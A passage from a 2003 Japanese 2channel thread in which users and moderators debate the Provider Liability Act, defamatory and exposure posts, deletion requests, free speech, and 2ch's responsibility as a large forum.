プロバイダ責任法
平成14年5月27日施行
http://www.keishicho.metro.tokyo.jp/haiteku/haiteku/haiteku402.htm

ここの掲示板全部、管理しきれるのか?
早速、被害にあった人は削除依頼を出してください。
この法律は2chガイドラインよりも優先します。

被害にあった人が次々に削除依頼を出せば
とても対応できないだろうと思われ、2chはつぶれるでしょう。

518 :けんすう ★:03/06/05 00:51 ID:???
>>511
それはネット全体にいえると思うんですが、
ひろゆきさんは努力していると思うですよ。
彼、誹謗中傷とか個人叩きとかそういったものは嫌いだし。
それが情報価値があるのかないかで判断したときに、
単なる個人の中傷なんて誰も役に立たないですし。

で、許さないからIP取得してみたり、
IPアドレスを晒したり、アク禁にしたり、プロクシ規制をしてみたり
警察に通報したりしているわけですが、
それ以上に取り組むべきことがあると思うなら、
具体的に言ってあげたほうが彼も助かると思うんです。

519 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:51 ID:IONTrvFn
>510
おいらもそう思う(^_^;)つーか、ずーっとそう指摘してたんだけど
本人はどうしても、その二つを同一のまな板にのせたかったみたい・・・・
なんつーか(^_^;)異質なものを、構造的な類似だけでひとまとめにされてもねぇ

520 :心得をよく読みましょう:03/06/05 00:52 ID:GfqicjSb
>516
ええと、規模が大きくなったら自動的に国家機関にでもなるんですか?

>ローカルルールをグローバルだと勘違いする。 わかるか?
勘違いしてるのは勘違いしてる奴のせいで他の誰のせいでもありません。
その人と貴方との間の問題はその都度法的に処理するのがよろしいんじゃないでしょうか?

521 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:52 ID:IONTrvFn
>518
その具体的ってのが「閉鎖しろ」なんじゃないかな?(^_^;)

522 :けんすう ★:03/06/05 00:55 ID:???
>>521
閉鎖したら誹謗中傷をする人がいなくなると思っているのかなぁ、、

winnyや意識の低い掲示板運営者のところに人が流れて、
個人情報垂れ流し、誹謗中傷も一切削除されず、
っていうことにもなりかねないと思うんだけどなぁ、、

523 :心得をよく読みましょう:03/06/05 00:55 ID:GfqicjSb
>517
法治国家で法律がローカルルールより優先されるのはあたりまえじゃん。
削除依頼で管理者が侵害と認識した場合、7日の告知の後に削除されてるよ。
侵害で無いと認識した場合責任は管理者に行く。
だから管理者と削除依頼者で法的に争ってるでしょ。
法に従って正常に機能してるんじゃない?


524 :心得をよく読みましょう:03/06/05 00:55 ID:aPNJ+dlP
>>520
>勘違いしてるのは勘違いしてる奴のせいで他の誰のせいでもありません。
たとえば先生が「レイプは合法ですよ」と冗談で言って
それで勘違いしたヤツが本当にやっちゃったら
先生にはまったく責任がなく、そいつがウソだと見抜けなかったせいだというわけか?

525 : :03/06/05 00:56 ID:qPI4ZYOF
>>524
2chって、誹謗中傷が合法って言ってるのか。それは初耳だ。

526 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 00:57 ID:IONTrvFn
>522
実はさ、閉鎖しろの背景にある、根源的な問題ってのは
もしかしたら「情報が集中すること」にあるんじゃないかと思うんだよね(^_^;)
例えば、一日のヒット数が二桁あるかないかの掲示板やサイトで
誹謗中傷や晒し行為があっても、きっとなんの問題もないんだよね・・・・
(考えながら書いてるので、どこに話がいくか自分でもわからん。とりあえず続く)

527 :心得をよく読みましょう:03/06/05 00:57 ID:GfqicjSb
>524
それじゃあ先生とも裁判で争えばいいんじゃない?


528 :心得をよく読みましょう:03/06/05 00:58 ID:KwbL1S0Q
掲示板荒らし対策の部屋
http://www002.upp.so-net.ne.jp/dalk/higai22.html

529 :心得をよく読みましょう:03/06/05 00:58 ID:aPNJ+dlP
>>525
許しているということは事実上合法だと認識させることにつながるのではないのかね。
とてもすべてを削除しきれているようには思えないが。

530 :心得をよく読みましょう:03/06/05 00:58 ID:TYNkWQey
あぁ、管理できないならやめてしまわないと法に触れるよと親切に教えてくれてるのか?ID:aPNJ+dlPは?

ガイシュツじゃん、そんな事、寝よう。



531 : :03/06/05 00:59 ID:qPI4ZYOF
>>529
>>520 勘違いしてるのは勘違いしてる奴のせいで他の誰のせいでもありません。


532 :心得をよく読みましょう:03/06/05 00:59 ID:aPNJ+dlP
>>527
今はそういうことを聞いてるわけではないんだが、
何も言えなくなると、ほんと、はなしをずらしてくるよなあんたら。

533 :心得をよく読みましょう:03/06/05 00:59 ID:i2ZIbjAr
テレビ局に俗悪番組中止しろって怒る人たちみたいなものか。

534 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 01:00 ID:IONTrvFn
ところが情報が集中すること自体は善でも悪でもない(^_^;)
(良い面と悪い面があるが、それは情報が集中しないことにも同様にある)
この善でも悪でもないっていう点で2chってのは存続してると思うんだよね。

535 :心得をよく読みましょう:03/06/05 01:01 ID:wjXot/wm
>>518
うーん、そうなんですかぁ。今まで暴言を吐いてすみません。謝ります
ただ、内情を知らない者から見て、あまりにも晒し中傷行為を軽く見すぎているのではないかと思いまして・・
現に中傷書き込みの量が半端ではないですし・・
本当に嫌な思いをしている人は沢山いますよ。
別に2ちゃん全てを否定しているわけではないので、運営の人々の改善に期待します

536 :心得をよく読みましょう:03/06/05 01:02 ID:aPNJ+dlP
>>534
善悪はどうでも良い!
そんなものは主観にすぎん。
悪から見たら善は悪だろうからな。

537 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 01:03 ID:IONTrvFn
ところがこのうちの悪い面だけを取りだすと、これはもうどうしようもないくらい悪いって話になっちゃう(^_^;)
くれぐれもいっとくけど、晒しや誹謗中傷自体のことじゃないからね(^_^;)
情報が集中することで、情報の質や真偽をコントロールされないまま
瞬時に情報が流れてしまうことが悪い面ね。

538 : :03/06/05 01:04 ID:qPI4ZYOF
>>535
> 現に中傷書き込みの量が半端ではないですし・・
それだけ、対処も遲れているんじゃないかと。
中傷と思われる書き込みを見たら、出来るだけ削除依頼をしてみてはいかがでしょう。

539 :心得をよく読みましょう:03/06/05 01:04 ID:GfqicjSb
>532
私はかなり前から2chに問題があるなら法的手段を取れといってますけど。

先生が法に触れない範囲でそう教えたというのならそれは合法であり
貴方はその権利を侵害することは出来ません。
まぁ、法に触れない範囲と判断されるかどうかはアレですが
その話は今は関係がありませんな。

540 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 01:06 ID:IONTrvFn
んで、なんでこれが悪い面かっていうと
受け取り手の、その情報をちゃんと咀嚼したり、篩にかけたりする能力ってやつが
全然追いついてない(追い付いてる人もいるだろうけど、大多数はそういう状態じゃない)
つまり社会がまだ、こういった情報流通を受け止められるほど成熟してない
(この場合の成熟というのは、あるべき姿にってことじゃなくて、現状のネットに対応できるかどうかという話)
ってことで、社会とネットとの間に大きなギャップが生まれちゃってるんだと思うんだよね(^_^;)

541 : ◆IZUMIgeVMA :03/06/05 01:08 ID:GfqicjSb
>540
だからこそインターネットに免許制をですねぇ・・


542 : :03/06/05 01:09 ID:qPI4ZYOF
>>541
あ、久々。

543 :心得をよく読みましょう:03/06/05 01:10 ID:aPNJ+dlP
>>540
あたりまえだ。
現実で「ばかやろう」と見ず知らずの他人に言うのが
正常な感覚だとは誰も思わないだろうからな。
でもそれが正しい。
あくまで俺たちが生きているのは現実なんだから、
その現実とつながりのあるネットは、限りなく現実とおなじ認識・価値観が通用する必要がある。

544 :心得をよく読みましょう:03/06/05 01:10 ID:WOmF0E1V
>>540
その意味での成熟した社会は賢明な大衆と同じで幻想では?

545 : ◆IZUMIgeVMA :03/06/05 01:10 ID:GfqicjSb
>542
最近地味に忙しいのです。
まぁ、名無しじゃかなり書き込んでますけどモ。


546 :心得をよく読みましょう:03/06/05 01:11 ID:resQ/xH9
>538
削除依頼は公開しますですーとか昔、言ってましたよね。
あれじゃ依頼なんてせずに泣き寝入りする人がたくさん出ますよ。
当時、私は「このサイトは悪意を持って運営してるなあ」と思っていましたよ
正直、今でも疑念はあるのですが、けんすうさんの書き込みを信用してみようと思っています

547 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 01:11 ID:IONTrvFn
んじゃ、一体全体どうすればいいのか・・・・(^_^;)
1 それまでは2chのような情報集中する場所は作らない
2 現状で社会の成熟を待つ
のいずれかになるわけ(^_^;)
で、情報が集中することが、現在の社会にとって耐えられないとして
その情報集中を排除する(つまり1ね)方法ってのは
法的に規制するか、あるいはその社会が耐えられないことに対して
管理者が遠慮するかのいずれかになるわけだけど
管理者の遠慮の度合が、あまり大きくないってことなんじゃないかね(^_^;)現状
んで、もっと遠慮しろよ・・・・っていう意見が出てきてる・・・・とか(^_^;)

ああ、何が言いたいのか自分でもわからん(^_^;)ねむー

548 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 01:14 ID:IONTrvFn
いやさ(^_^;)実はおいらが2chにはまったのは
ここいらあたりが、この先どうなって行くんだろうっていう興味からなんだよね(^_^;)
んで、このことを考えてるといつも思うのは
「2chって時代の徒花だなぁ・・・・(^_^;)」ってことだったりする

>545
あ(^_^;)おひさー

549 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 01:16 ID:IONTrvFn
>541
うん(^_^;)おいらもネット免許制ってのは非現実的妄想として思い描いちゃう

>544
日本の場合は特にそうなっちゃう気がする・・・・(^_^;)
結局は法規制で自分の首を〆てしまいそうな国民性・・・・

550 : ◆IZUMIgeVMA :03/06/05 01:16 ID:GfqicjSb
>544
そういう意味じゃ言論の自由とかインターネットとかってのは
今の人類にゃ過ぎたオモチャだと思いますよ。

アカ狩とかやってたアメリカの大統領が公約でバーチャルではありますが
無政府主義のユートピアを実現してしまったんだから皮肉な話ですなぁ。

>546
裁判だってなんだって、
相手の主張を廃し自分の主張を一方的に通すためには
リスクを負うのが当然でしょ。

551 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 01:19 ID:IONTrvFn
つかね、何の準備もできてない素人さんに
「今日からあなたも世界にむけて情報発信」なんてキチガイ沙汰だとおもうわけだな(^_^;)
しかし反面、そのキチガイ沙汰だからこそ、ネットには価値があるという(^_^;)

552 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 01:21 ID:IONTrvFn
もう、どうにも矛盾だらけで、何が大切で何が犠牲になるのが正しいんだか(^_^;)
それは個人の権利かもしれないし、社会の利益かもしれないし(しかもどっちも大切であり犠牲になってる)
と、こんなことを考えてると脳味噌が沸いてくるんだよなぁ・・・・

553 :mechanix ◆RiroTHE1J6 :03/06/05 01:21 ID:tUAD2tW6
全部いっきに読むとわけわからん。


アタマワル、、、

554 :心得をよく読みましょう:03/06/05 01:21 ID:WOmF0E1V
>>550
ゼウスもプロメテウスが与えた物に対してそう考えたみたいですよ。
過ぎたオモチャのみが人類を人類足らしめるわけですなw

555 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 01:22 ID:IONTrvFn
>553
うむ(^_^;)自分でも何書いてるかわかってない
脳味噌がパンクしてるんだな(^_^;)すまんのぉ

556 :けんすう ★:03/06/05 01:25 ID:???
バカに情報を発信させる場所を与えるのはよくないことだ。
だから掲示板が大きくなって有名になるとバカが増えておもしろくなくなる。
アンテナが高い人たちだけが来る最初のころが一番楽しい。

とうちの奥さんが言ってました。なるほど。

557 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 01:26 ID:IONTrvFn
そうそう(^_^;)よくおいらが2ch擁護してるとか言われるけど
おいらは2chなんて潰れちゃっても全然OK派だったりします(^_^;)
8月危機の時にも閉鎖でいいじゃん・・・・というスタンスだったり・・・・。
あるがままにあればいいし、そのあるがままが閉鎖ならばそれもまたよしってね(^_^;)
つーか、別においらが2chの存続の決定権持ってるわけじゃないから
あたりまえと言えばあたりまえなんだけどね(^_^;)潰れる時は潰れるなんてのは

558 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 01:26 ID:IONTrvFn
ああ(^_^;)けんすうに馬鹿と言われた・・・・もうだめかも

559 :心得をよく読みましょう:03/06/05 01:30 ID:aPNJ+dlP
とりあえずよ、
そんな法や国家のあり方を話し合ったって
それこそ無駄で終わってしまうんじゃないか?
目の前の2ちゃんねる運営のあり方を現実的に語ったほうが
運営人さんたちにも見てもらえるかもしれないし、少しは意味があると思うんだが。

国家を変えることは難しいが、
管理人一人くらいならなんとかできる・・・かも知れ無いじゃん。

>>557
なすがままに・・・なにを今更。
だったら、俺は2ちゃんねるの悪い部分だけを退治して
もっと有用な場所にすることができないか、根本的な解決を法を待たずになんとかできないか
といったように、自分で変えていくという立場をとってここで一所懸命、
おまえさんたちには無意味だといわれる主張をしているのだから
口を挟まないでくれ。

560 :心得をよく読みましょう:03/06/05 01:31 ID:+6NM37nm
プロバイダ責任法
平成14年5月27日施行
http://www.keishicho.metro.tokyo.jp/haiteku/haiteku/haiteku402.htm

ここの掲示板全部、管理しきれるのか?
早速、被害にあった人は削除依頼を出してください。
この法律は2chガイドラインよりも優先します。

被害にあった人が次々に削除依頼を出せば
とても対応できないだろうと思われ、2chはつぶれるでしょう。

561 : ◆IZUMIgeVMA :03/06/05 01:33 ID:GfqicjSb
>554
楽園のリンゴとか・・。
否が応でも一つ上のステージに上がらされてしまう・・
・・というか、既に上がらされてしまってるんだなぁ。

んで、現行のステージに居るためには蛇口を閉めてやら無くちゃ
ならんのですよ。その爲の免許制でして。
どちらが幸せかはわかりませんが。


562 :心得をよく読みましょう:03/06/05 01:35 ID:aPNJ+dlP
>>561
インターネットは倫理的問題の解決を待たずに一人歩きしている
クローン技術のようなものだと前々から考えていた。

人類にとってはまさにパンドラの箱だったんだ

563 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 01:38 ID:IONTrvFn
>559
ま、思うようにならないのが世の常で(^_^;)
何かを発言すれば、それに反応があるのは覚悟するしか

564 : ◆IZUMIgeVMA :03/06/05 01:38 ID:GfqicjSb
>559
相手の思想を自分よりに変えるってのはかなり大変な作業ですよ。
というか、それが可能なら法なんていう強制手段は必要無いような気がします。
国家のあり方を変えるよりも非現実的かと。

いや、まぁ、実際にはロボトミーとか色々手段はあるかも知れませんが。

565 :けんすう ★:03/06/05 01:42 ID:???
>>559
悪い部分を胎児か・・・。
できるものならやってみたけど、
それをやるならじゃあ免許制だ、とか非現実的になっちゃうわけで。

難しいなぁ。

566 :心得をよく読みましょう:03/06/05 01:43 ID:GfqicjSb
>562
個人的にはクローンが云々というのは実際のところ宗教的な思考と
畜産業界の利権から来てるものだと思われるのでアレですが、

パンドラの箱というのは言いえて妙ですな。


567 :心得をよく読みましょう:03/06/05 01:43 ID:cYhu/wpe
>560
法律の真意はプロバイダー責任制限法だったりする

568 :心得をよく読みましょう:03/06/05 01:56 ID:aPNJ+dlP
とりあえず、法が根本的な解決だとは同意しかねる。
究極理想ではあるが、そもそも訴訟が起こらなければよいし、
そもそも犯罪が起こらなければ良い。
法治国家だから法に触れるなら訴訟を起こせよ!
親告罪だから泣き寝入りしているだけで、侮辱罪にあたる発言はいくつあることやら・・・。
知ってのとおり、必ずしも法的罰則やその重罰化に反比例して犯罪が減るわけではない。

大切なのは、最初から他人に訴訟されるような、
迷惑のかかるような行為を控えるという心がけをみんなで持つことだ。
そのためには法はもちろん、マナーやモラルといった共有し得る価値観を見出し、
形成していくことも十分に重要だと言っておきたい。

これは、私だけの理想なのであろうか?

569 : ◆IZUMIgeVMA :03/06/05 02:28 ID:GfqicjSb
>568
マナーやモラルといった共有できる価値観を見出すのは
悪いとは思わないし有意義なことかもしれない。
しかし、自分と異なるマナーやモラルを排斥することは不可能だろう。
なんというか、自分のマナーが優先されると思っているところがご都合。
既に、今、ひろゆきにとってのマナー、ルールと貴方のそれは一致していない。
貴方の理想を中心としたマナーと別の人の理想を中心としたマナーが
食い違った時に貴方のマナーを押し付ける理由が無いのよ。
まぁ、その解決の手段が法なんだが。

んで、ここで話してるの見てて、相手と交渉しようと思ってるとは思えないんだよね。
相手のマナーに余地があれば示談とか話し合いとかで
歩み寄れるだろうけど余地をひろげるのはひろゆきなワケじゃんさ。
ひろゆきにどういうメリットがあるかをプレゼンしなくちゃ話も聞いてもらえないんじゃないの?
ただ主張を垂れ流すだけじゃオモチャが欲しいとか言って店の前で暴れてる子供と同じだべ。

訴訟批判は法治国家の宿命的な限界だが個人個人がの思いつきで
罰を与えたりして世の中が振り回されるよりはマシ。みんな主張はあるんだよ。
んで、その主張の正しさは誰が保証してくれるのか?と。脳内マナーに任せるのは俺はいやだよ。
ただ、親告罪だから云々というのはただの他力本願だと思う。
というか、名誉毀損とかは親告罪でも刑事だったと思うんだが・・・
本人からの刑事告発まら出来るんじゃないのか?

570 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 02:29 ID:IONTrvFn
>568
少なくともおいらの目から見て極めて正常な理想だと思う(^_^;)他の人がどう思ってるかは知らんけど

571 :心得をよく読みましょう:03/06/05 02:32 ID:0G/q5e55
もう寝なさいよ・・今日は。

572 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 02:35 ID:IONTrvFn
>569
おいらの印象だと、いわゆる啓蒙を指してるんだと思うんだが・・・・
誰かに押しつけるモラルじゃなくて、共有しうるモラルの形成ってのは理想だと思わない?(^_^;)
彼が「しうる」というエクスキューズを配していることに注目すべきかと(^_^;)

あと、彼はそれを2chやひろゆきに求めてるようにも思えないんだよなぁ(^_^;)

573 :やきん ★:03/06/05 02:35 ID:???
おはよう記念

574 :心得をよく読みましょう:03/06/05 02:36 ID:tig1S3n+
そんなことより

結局、2ちゃんは失敗だったってことでいいんだよな?

まさか、どこを覗いても、ののしり合ってる現状を見て

2ちゃんが成功だったとは言えないよな。


575 :心得をよく読みましょう:03/06/05 02:37 ID:aPNJ+dlP
となると、閉鎖に追い込むしかないか、なんでもかんでもひろゆきが利益だけを追求しているのであれば。
といっても既に、一資本家ではなく社会的な立場としての責任も問われるくらいの存在だし、時間の問題かな。

あなたはマナーが私的なものだと言うが、
他人に迷惑をかけないという心がけがそんなに難しいことだろうか?
及ばなければ謝ればよいのだし、
一人一人が平和に暮らしたいという願いは誰しも変わらないと思うが。


576 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 02:42 ID:IONTrvFn
>574
誰にとっての成功なの?(^_^;)つーか何が成功なの?
んな総体的な価値観はどうでもよろし

>575
他人に迷惑をかけてる人が、他人に迷惑をかけないでおこうとするようになること
つまりマナーやモラルの中に、そういったことを組み入れることはしごく普通にいいことだと思うよ(^_^;)
つーか、それができない人がいるから困ってるわけで・・・・

ただ、それを2chが啓蒙したり教育したりって話は違うと思うんだよね(^_^;)

577 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 02:42 ID:IONTrvFn
×総体的
○相対的(^_^;)

578 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 02:44 ID:IONTrvFn
ああ、当然のことだけど2chやひろゆきがそれをやっちゃいけないというわけじゃないです(^_^;)
でも、そういうことを「やらなければならない」的論調だとしたら、間違ってると思うな(^_^;)

579 :心得をよく読みましょう:03/06/05 02:46 ID:4h7w1myc
>他人に迷惑をかけないという心がけがそんなに難しいことだろうか?

これは難しいぞ…… 本当に。
諸事情で「他人に迷惑をかけないという心がけ」を持ってない人と接することが
多いんだけど、彼らにそれを持たせるのは本当に難しい。

580 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 02:51 ID:IONTrvFn
>579
確信犯的にやってる人はしょうがないと思うんだよね(^_^;)
それこそ裁判だなんだってので、信念の勝負する話だし。
ところが天然の人ってのは・・・・これはもうほんとにどうにもならない・・・・
でも大半は無知でやってる人じゃないかと思うんで、啓蒙ってのは効果あると思うんだよね。
ただ、そういうボランティアを誰が買ってでるの?(^_^;)ってのが最後の問題

581 : ◆IZUMIgeVMA :03/06/05 02:52 ID:GfqicjSb
>572
確かに、ひろゆきに、ではなく世の中に求めてるように見えます。
全ての人々の背中にある十字架を2chに肩代わりさせるのが
マナーっつーのは納得がいきません。
自律を理想とするなら個々の人間を地道に啓蒙すべきです。

>575
他人に自分と同じマナーを求めるのは構わないでしょう。マナー的に。
でもそれを強制しようとするなら迷惑ですよ。それは「他に迷惑をかける行為」。
んで、この板の使い方だけど強制では無くお願いに過ぎないという自覚があるのならば
ここで行うのがプレゼンであることは理解できるだろうし
説得してく方法も方向性も変わってくるんじゃないかな?と。


582 :心得をよく読みましょう:03/06/05 02:53 ID:aPNJ+dlP
>>578
ある意味で私はやらなければならないと考えている。
それだけ2ちゃんねるの影響は大きいと思うから。
現にマスコミなどで話題になっているとおりで、
いくら自分の利益を追求するためとはいえ、
それによって訴訟まで起きているのだ。
経済の自由を制限するほどの道理はあると考えている。
もちろん、法的にはやっていいのだから世間体を気にしないなら勝手にやってくれって感じだ。
ただ、今のままならあちらこちらから圧力を受けて閉鎖を余儀なくされるのは
強ち悪くない予想だと思うが。

583 :心得をよく読みましょう:03/06/05 02:56 ID:G0kInuTr
読み直してみましたが、やはり擁護派は晒し中傷行為を軽く見てますね
「晒し中傷行為なんか別にいいじゃん。自分が晒されるわけじゃないんだから」
こんな考えが起るような価値観の持ち主に何を要望しても変化は期待できないようですね

584 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 03:01 ID:IONTrvFn
>582
確かにいくばくかの影響力はあるだろうけど
だからといってその影響力を背景にマナーやモラル
思想などを押しつけちゃったら負けだと思うんですよ(^_^;)
2ch自身は常にニュートラルであることが大切だと思います。
それで閉鎖することになるならば、なんら問題はないんでないかと・・・・

585 : ◆IZUMIgeVMA :03/06/05 03:08 ID:GfqicjSb
>583
「言論」を軽く考えすぎなんじゃないですか?

「貴方がこれ以上発言するのは迷惑だから発言しないでください」
って言ったら貴方発言を止めますか?
マナーなんてのはその程度のものなんですよ。
上のは冗談で私は貴方の主張自体を排斥しようとは思ってませんが
貴方はその対象の主張を「排斥したい」って主張ですよね。

「貴方の発言は誹謗中傷です。」
そう言ったら貴方発言止めますか?
誹謗中傷だなんだ響きのいい煽り文句付けたって
主張の正しさってのは所詮その程度のものなんです。
お互いが主張出来るのと片方の主張が排除されるのと
どちらが正しいんですかね。

だから法律が必要なんでしょう。
まぁ、2chではサービスで法でなく削除ガイドラインという基準も設けてありますが。
削除依頼者が書き込み者よりも正しいという根拠は一体どこにあるんですかね。


586 :心得をよく読みましょう:03/06/05 03:11 ID:aPNJ+dlP
>自律を理想とするなら個々の人間を地道に啓蒙すべきです。
それが不可能に近いから、日本を代表するほどの2ちゃんねるにも
できることなら率先してやって欲しいと。
それが、日本を代表する掲示板にまで巨大化させてしまったひろゆきの社会的責任ではないかと。
自分の立場が高ければ高いほど、もう少し身なりにも気遣って欲しいなと、
たとえば、高額所得者が平和活動をするのと同じくらいの感覚を持っていて欲しいなと、
期待しているわけです。

ニュートラルの立場を常にとりつづけることは現実的とはいえません。
時代の流れ、人の流れ、自身の立場の流れなどの現実を直視して、
問題があるのなら即座に反応して流動的に対策をとれるような管理でいて欲しいんですけどね。
でもどうやら、ひろゆきはそういう人間ではないと、諦められているようです。

587 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 03:10 ID:IONTrvFn
ああ(^_^;)やっぱ免許制って魅力的
無知でやっちゃってる人
 免許を取れば、マナーやモラルを持てる人
 車で言えば普通のドライバー

確信犯的な人
 免許を取得しているけど、例えば緊急事態とかで、違反覚悟でスピードを出す人
 スピードを出すことは、周辺に危険をふりまくことになるし、許されないことだが
 それをあえて侵すことをいとわない人

天然
 免許適正のない人(^_^;)

588 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 03:18 ID:IONTrvFn
>586
ええ、踏みとどまる力ってのはなみたいていでないことは確かです(^_^;)
ひろゆきはわりとこともなげにやってるようにも思えますが・・・・
多分、対処療法的には、2chがなにかすることも有効なのでしょうが
本質的には、ネット利用者個々の問題なんですよ・・・・。
影響力を行使して、個人の領域を侵す危険を避け
なるべくニュートラルであり続けるという選択は、ネット社会のありかたとして(おいらは)正しいと思います。

ひろゆきのやりかたも安易には叶わない理想の一つなんだと思います。

589 :心得をよく読みましょう:03/06/05 03:19 ID:0G/q5e55
>>587
マブ案に激しく同意
子供禁止にしよーよ。責任とれないんだし

590 :ぴこちゃん:03/06/05 03:20 ID:plbQC7vg
うんこ

591 :心得をよく読みましょう:03/06/05 03:25 ID:G0kInuTr
>585
今、2ちゃんねる上にある書き込み全てが言論の自由の範囲にあると、お考えですか
こう言っちゃあ悪いのですが、見るに耐えない晒し中傷カキコは私の目から見ていくらでもありますよ
そういう書き込みを見ても問題にしない。いや、問題にしないどころか言論の自由だと言う。
こんな考え方は私には到底できないので、要望をしても無駄と思ったわけです。

592 : ◆IZUMIgeVMA :03/06/05 03:28 ID:GfqicjSb
>586
んー、だからもうちょいプレゼンをなんとかしようよ、と。


593 :心得をよく読みましょう:03/06/05 03:29 ID:aPNJ+dlP
>>588
まぁどちらをとるのかは私もかなり難しい問題だと考えています。
一部の悪人の罪による一部の被害者を守るために、多くの一般人の自由や楽しみを規制するのか、
一部の悪人の罪による一部の被害者を守るために、多くの一般人の自由や楽しみまで規制するべきではないか。
決して、罪が軽いから、その類の犯罪が少ないから、ほっとけばいい、
というわけでもありません。

なんにしろ、もっと多くの市民のネットへの参加と、時間が、
答えを見出すのに必要です。
今日はこの辺でいいでしょうかね。

594 :心得をよく読みましょう:03/06/05 03:30 ID:K0dWN4GE
どうせそう遠くない将来、
匿名による書き込みが出来なくなるんだから、
それほど心配する必要も無いと思うよ。

595 : ◆IZUMIgeVMA :03/06/05 03:31 ID:GfqicjSb
>591
繰り返しになりますが、発言の責任は取るべきです。
削除では無く法的な処理によって補償すべきと考えます。

どれが適切でどれが適切で無いかを裁く基準として
法律や削除ガイドラインがあります。
「貴方の気分」はその中にはありません。


596 :心得をよく読みましょう:03/06/05 03:32 ID:0G/q5e55
もう寝るよー 皆 もつかれー
今日の漏れ報告=マブの意見に初めて賛成した。メモメモ...φ(._.*)y-

597 : ◆IZUMIgeVMA :03/06/05 03:36 ID:GfqicjSb
>591
「貴方の書き込みは私の目から見るに耐えないんですが排斥すべきですか?」
とか言われたらどうですかね。
問題だ問題だと言うのは簡単です。
何がどう問題でどう解決して解決するとどういうメリットがあるのか
それを説明するのが他人に"自分の"要望を通してもらう近道だと思います。
貴方には要望を通してもらうつもりが無いように見受けられます。

598 :心得をよく読みましょう:03/06/05 03:36 ID:v72/hhc/
>>596さん
おつかれ。

599 :心得をよく読みましょう:03/06/05 03:38 ID:aPNJ+dlP
ネット上で全体のモラル、マナーを統一するのはかなり難しいと考えていることも言っておく。
たとえば現実で、どうしても分かり合えない二人なら、
最終的には言い争わずに距離を置くことも、これ一種の「マナー」だと思うのだが、
ネットではそれさえも不可能だ。
特にここでは、気楽に書きこめすぎるという点があまりに距離を近づけすぎているのだと思う。

まじめに働いているサラリーマン、引き篭もり、アスリート、お堅い中年、今時の若者、
すべてを統一するのはどう考えても無理があり、それはそれでつまらないというものだ。
だが、ネットでは距離が無いゆえどうしても問題が起きる。
ほんとうに新しい問題で、考えていかなければならないなと思わせられるんですよ。

600 : ◆IZUMIgeVMA :03/06/05 03:42 ID:GfqicjSb
>599
だからネットが悪い。だから掲示板が悪い。
それはちょっと短絡的過ぎると思うんですよね。
ニュータイプじゃないですが利用する側の
人の革新に期待するしか選択肢は無いと思います。

もちろんその爲の啓蒙はしていくべきだと思いますが。
                 

601 :心得をよく読みましょう:03/06/05 03:46 ID:ZCITyZ6L
おめでたい馬鹿どもだねw
2chのことでしか必死になれない悲しい香具師↑プ

ニュータイプ

アニヲタが何言っても説得力ナッシング(ゲラブ

602 :心得をよく読みましょう:03/06/05 03:46 ID:W/4/xkid
>595
私の気分?意味がわかりません
現実に書き込まれているのですよ?
「あのレストランのウェイトレスの山○○子ってブスだよな。不倫してるらしいぜ」
「あのパチンコ屋の毎日、朝から来る帽子を被ったカップルってSMが趣味らしい」

こんな陰湿な書き込みも言論の自由ですか。馬鹿馬鹿しいですね。
そんな考え方では、便所の落書きと言われても仕方ないですね。
私は筑紫哲也の言う事のほうがもっともだと思います。
世間の健康的な精神の持ち主の方なら誰でもそうだと思いますが

603 : ◆IZUMIgeVMA :03/06/05 03:49 ID:GfqicjSb
AさんからBさんに情報が伝わる過程でですね。
その情報はできるだけ変えるべきでは無いと思うんです。
もちろん翻訳したり禁止用語を検閲したりするサービスもあって良いと思います。
でも、変えないで伝えようとするサービスも必ず必要だと思うんですよ。

だから自由の限界まで踏み込みAさんがBさんに与えた被害などについては
Aさんが法によってのみ返してもらうというのが一つの理想であります。

604 :心得をよく読みましょう:03/06/05 03:50 ID:0G/q5e55
>>598
もつかれー
夜中の思考は80%ダウンするそうよ。(ソースなし)
皆さん〜引き際が大事よ♪また明日お話しなさいな。おやすみー

605 : ◆IZUMIgeVMA :03/06/05 03:51 ID:GfqicjSb
>602
筑紫哲也の言う事のほうがもっともだと思うというのも。
世間の健康的な精神の持ち主の方なら誰でもそうだと思うというのも
「貴方が思ってる」「貴方の気分」ですよ。
なんの保証も無い。
その保証のために法があるんじゃないですかね。


606 :心得をよく読みましょう:03/06/05 03:52 ID:5hfcDNcn
>>574
真性アンチ降臨!

607 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 03:52 ID:IONTrvFn
>593
それが意見や考えでない部分・・・・物理的な問題ならば答えは簡単なんですけどね(^_^;)
荒し行為ならばその妥当性というものは考えずに規制でもなんでもできますし・・・・

これからまだ数年は2chであるかどうかに関らず
こういうネットと社会の不整合が付きまとうことになるんでしょうね・・・・

お疲れ様でした(^_^;)>寝る人

608 :心得をよく読みましょう:03/06/05 03:55 ID:/s7J5V1R
>605
はい。わかりました
それで、「ウェイトレスの不倫」「カップルのSM」
このような書き込みも言論の自由で片付けていいのですね?

609 : ◆IZUMIgeVMA :03/06/05 03:58 ID:GfqicjSb
>608
その内容は法に触れるだろ。アホか。
見つけ次第要請板で依頼しる。
それで却下されたなら2chは中傷と考えていないということだから
それによる責任は2chが取るので遠慮無く訴えれ。

610 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 03:59 ID:IONTrvFn
>608
最終的には法で判定するしかないということだと思います(^_^;)
